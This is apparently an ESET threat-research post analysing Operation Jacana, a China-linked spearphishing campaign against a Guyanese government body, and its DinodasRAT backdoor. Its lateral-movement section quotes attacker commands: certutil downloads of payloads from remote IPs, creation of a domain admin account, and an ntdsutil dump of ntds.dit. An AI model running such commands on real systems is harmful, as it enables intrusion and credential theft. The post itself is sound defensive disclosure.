Operation Jacana: Foundling hobbits in Guyana

In February 2023, ESET researchers detected a spearphishing campaign targeting a governmental entity in Guyana. While we haven’t been able to link the campaign, which we named Operation Jacana, to any specific APT group, we believe with medium confidence that a China-aligned threat group is behind this incident.

In the attack, the operators used a previously undocumented C++ backdoor that can exfiltrate files, manipulate Windows registry keys, execute CMD commands, and more. We named the backdoor DinodasRAT based on the victim identifier it sends to its C&C: the string always begins with Din, which reminded us of the hobbit Dinodas from the Lord of the Rings.

Key points of this blogpost:

• Operation Jacana is a targeted cyberespionage campaign against a Guyanese governmental entity.
• After the initial compromise via spearphishing emails, the attackers proceeded to move laterally through the victim’s internal network.
• To extract sensitive data, the operators used a previously undocumented backdoor we named DinodasRAT.
• DinodasRAT encrypts the information it sends to the C&C using the Tiny Encryption Algorithm (TEA).
• Apart from DinodasRAT, the attackers also deployed Korplug, leading us to suspect that China-aligned operators are behind this operation.

This campaign was targeted, as the threat actors crafted their emails specifically to entice their chosen victim organization. After successfully compromising the first couple of machines with DinodasRAT, the operators proceeded to move laterally and breach the target’s internal network, where they again deployed the DinodasRAT backdoor, along with additional malicious tools, among them a variant of Korplug (aka PlugX). The overview of the compromise flow in Operation Jacana is shown in Figure 1.

Attribution

As of this writing, we have not been able to attribute Operation Jacana to any known group. However, thanks to a clue we found, we feel that we aren’t completely in the dark regarding the perpetrators. During the attack, the threat actors deployed a variant of Korplug (aka PlugX), which is common to China-aligned groups – for example, Mustang Panda’s Hodur: Old tricks, new Korplug variant.

While our attribution to a China-aligned threat actor is made with only medium confidence, the hypothesis is further supported by recent developments in Guyana–China diplomatic relations. In February 2023, the same month that Operation Jacana occurred, the Special Organised Crime Unit (SOCU) of Guyana arrested three people in a money laundering investigation involving Chinese companies, an act disputed by the local Chinese embassy. Additionally, as part of the Belt and Road Initiative, China has economic interests in Guyana. 

Initial Access

As the first step in breaching their victim’s network, the threat actors behind Operation Jacana sent the target organization spearphishing emails referencing Guyanese public affairs. We observed the following subject lines:

• President Mohamed Irfaan Ali’s Official Visit to Nassau, The Bahamas
• Guyanese fugitive in Vietnam

Based on the email subjects, the operators must have been following the political goings-on in Guyana – the time we registered new detections at the targeted governmental entity coincided with the Guyanese president’s attendance of the CARICOM conference in Nassau.

The spearphishing emails contained a link that, when clicked, downloaded a ZIP file from https://fta.moit.gov[.]vn/file/people.zip. Since a domain ending with gov.vn indicates a Vietnamese governmental website, we believe that the operators were able to compromise another governmental entity and use it to host their malware samples. We have notified the VNCERT about the compromised infrastructure.

Once the victim extracted the ZIP file, which wasn’t password protected, and launched the contained executable, they became compromised with the DinodasRAT malware. The extracted filenames are related to the phishing email subject lines:

• Guyanese fugitive in Vietnam20220101to20230214Guyanese fugitive in Vietnam.docx.exe
• The Bahamas/President Mohamed Irfaan Ali’s Official Visit to Nassau, The Bahamas.doc.exe

Lateral Movement

After breaching their target, the attackers proceeded to move across the victim’s internal network. According to our telemetry, BAT/Impacket.M and related detections were triggered in the network, which points to the use of Impacket, or a similar WMI-based lateral movement tool. 

Some of the commands the attackers executed on the network include:

• certutil -urlcache -split http://23.106.123[.]166/vmtools.rar
• net user test8 Test123.. /add /do
• net group “domain admins” test8 /add /do
• certutil -urlcache -split -f http://23.106.122[.]5/windowsupdate.txt c:\programdata\windowsupdate.txt
• cd c:\programdata\
• c:\programdata\windowsupdate.exe
• powershell “ntdsutil.exe ‘ac i ntds’ ‘ifm’ ‘create full c:\temp’ q q”

The last command dumps ntds.dit using the LOLBin ntdsutil.exe. This enables dumping passwords stored on a Windows server.

Toolset

DinodasRAT

DinodasRAT is a previously undocumented remote access trojan developed in C++ with various capabilities that allow an attacker to spy on and collect sensitive information from a victim’s computer. 

When executed, the malware first checks whether three arguments were passed. If present, these arguments must contain the following information in the following order:

1. the letter d,
2. a number, which is a process ID, and
3. a full file path.

If all three arguments were passed, DinodasRAT terminates the process represented by the process ID using the Windows API TerminateProcess then uses the Windows API DeleteFileW to delete the file passed in the third argument. After this, the process stops its execution by using the C++ standard library exit function. This is most likely intended as an uninstall function.

If no arguments were passed, DinodasRAT continues its execution by creating a mutex named client and checks for the existence of the conventional Windows directory C:\ProgramData. If it exists, the malware creates a subdirectory named Application Doc, which is used to allocate a configuration file and other files related to the backdoor. In case the Windows directory doesn’t exist, DinodasRAT creates a path in the root directory called Program.Files\Application.Doc. The strings Application Doc, ProgramData and Program.Files\Application.Doc are encrypted using the Tiny Encryption Algorithm (TEA).

The Application Doc directory is created with the attributes Read-only and Hidden. Inside of Application Doc, DinodasRAT creates two subdirectories, named 0 and 1. Once the directory exists, the malware spawns three threads used for data collection and exfiltration. A detailed description of their behavior is given in Table 1.

Table 1. Thread descriptions

After the threads are spawned, DinodasRAT creates a file named conf.ini in the main directory. This file contains an ID used to identify the victim to the C&C server. 

Figure 2 shows an example of the ID saved in the conf.ini file.

The format of the ID is Din_<YYYYMMDD>_<MD5-HASH>_<RANDOM-VALUE>_V1, where:

• <YYYYMMDD> is the install date,
• <MD5-HASH> is calculated using the IP address of the victim and the install date in milliseconds,
• <RANDOM-VALUE> is a random value, and
• V1 is probably the malware version.

TEA: Tiny Encryption Algorithm

DinodasRAT uses TEA to decrypt some of its strings, as well as to encrypt/decrypt data sent to, or received from, its C&C server. TEA, or Tiny Encryption Algorithm, is a simple block cipher, noted for its ease of implementation in software and hardware. For example, the original reference implementation of its encode function comprises just a few lines of C code, with a very short setup time and no tables of preset values. DinodasRAT employs the algorithm in the cipher-block chaining (CBC) mode. In some cases, the encrypted data is further encoded with base64 before being sent to the C&C server.

We found that the malware contains three different keys used for different encryption/decryption scenarios, as described in Table 2.

Table 2. TEA keys used by DinodasRAT

It is possible that the attackers chose to use TEA in order to make the job easier for themselves – we have reason to believe that the malware’s implementation of the algorithm is not created from scratch, but that it could be adapted from BlackFeather’s blogpost Tea Algorithm – C++. 

C&C communication and malicious activity

In order to communicate with the C&C server, DinodasRAT uses the Winsock library to create a socket that uses the TCP protocol. Although TCP is the default protocol used to send and receive information from the C&C server, we have seen that DinodasRAT is capable of changing to the UDP protocol.

The backdoor also creates various threads for different purposes, such as manipulating a received command to execute on the victim’s machine. Hence, in order to maintain synchronized communication, DinodasRAT makes use of Windows event objects by using Windows API functions like CreateEventW, SetEventW, and WaitForSingleObject.

To start the main communication with the C&C server, DinodasRAT sends a packet with basic information about the victim’s machine and its configuration, such as:

• Windows version,
• OS architecture,
• username,
• malware execution path encoded in base64, and
• a value used for the UDP protocol, which by default is 800.

Figure 3 shows not only basic information collected about the victim, but also the ID generated by the malware, which serves as a victim identifier for the C&C server.

All the information that DinodasRAT sends to the C&C server via the TCP protocol is TEA encrypted. In addition to that, some of the information is also base64 encoded.

To send the stolen information to the C&C server, DinodasRAT crafts a packet containing the following:

• First byte: an ID possibly to indicate whether the data is TEA encrypted (0x30) or base64 encoded and TEA encrypted (0x32).
• Next DWORD: encrypted data size.
• Remaining bytes: encrypted data.

Figure 4 shows an example of an encrypted packet to be sent to the C&C server.

During our analysis we were unable to obtain a response from the C&C server, but we were able to determine that any packets received from the server should also be encrypted with TEA.

When it comes to handling commands received from the C&C server, DinodasRAT creates a thread with an infinite loop responsible for receiving and determining whether packets contain encrypted commands to execute.

A packet, once decrypted, contains the following structure:

• First DWORD: ID of action to perform, hex value (see Table 2).
• Second DWORD: another ID, related to indicate on the client side that this packet is a command value (in hex) to execute on the victim’s machine.
• Rest of the packet: data used by the command to execute.

DinodasRAT contains commands capable of performing various actions on a victim’s machine or on the malware itself. Table 3 lists the supported commands with a short description of each. 

Table 3. DinodasRAT commands

During our investigation we have seen only the creation and use of the ID variable with its respective value in the conf.ini file, which is used to indicate the victim to the C&C server.

Additionally, DinodasRAT makes use of a multipurpose global variable which, for example, can contain the path of a filename to be deleted or the name of a Windows registry subkey to create.

Other malware samples

The attackers also used other tools apart from DinodasRAT during the intrusion:

• A variant of Korplug (aka PlugX) – A backdoor typically used by China-aligned threat groups.
• A SoftEther VPN client. This was probably used to proxy local ports, such as RDP, to the C&C server.

Conclusion

Operation Jacana is a cyberespionage campaign that impacted a governmental entity in Guyana. We believe with medium confidence that it was conducted by a China-aligned APT group.

The attackers used a combination of previously unknown tools, such as DinodasRAT, and more traditional backdoors such as Korplug.

Based on the spearphishing emails used to gain initial access to the victim’s network, the operators are keeping track of the geopolitical activities of their victims to increase the likelihood of their operation’s success.

For any inquiries about our research published on WeLiveSecurity, please contact us at threatintel@eset.com.
ESET Research offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat Intelligence page.

IoCs

A list of IoCs can also be found in our GitHub repository. 

Files

Network

MITRE ATT&CK techniques